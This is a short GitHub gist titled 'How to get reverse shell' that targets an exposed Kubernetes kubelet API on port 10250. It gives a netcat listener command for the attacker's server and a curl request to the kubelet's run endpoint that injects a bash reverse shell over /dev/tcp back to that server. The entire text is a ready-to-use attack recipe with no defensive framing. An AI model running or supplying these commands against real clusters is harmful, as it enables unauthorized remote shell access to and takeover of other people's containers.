Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Created August 3, 2018 10:38
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save random-robbie/15264ee9c3dca106f01985c54c682313 to your computer and use it in GitHub Desktop.
Save random-robbie/15264ee9c3dca106f01985c54c682313 to your computer and use it in GitHub Desktop.

How to get reverse shell

Setup a listener on your VPS to connect back to

nc -lvp 4444

Request

curl -sk https://IP:10250/run/NAMESPACE/POD/ CONTAINERNAME-d "cmd=bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1"

once this command has been done you should have a reverse shell connected to your listener.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment